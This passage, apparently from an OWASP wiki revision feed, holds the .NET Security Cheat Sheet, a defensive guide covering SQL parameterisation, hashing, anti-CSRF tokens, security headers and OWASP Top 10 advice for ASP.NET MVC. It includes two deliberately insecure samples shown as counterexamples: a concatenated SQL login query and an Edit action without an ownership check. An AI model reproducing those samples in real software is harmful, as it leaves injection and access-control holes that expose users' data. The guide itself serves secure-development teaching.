                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233538</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233538"/>
				<updated>2017-09-20T14:50:58Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Highlighted the sections in ASP.NET MVC for clarity.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
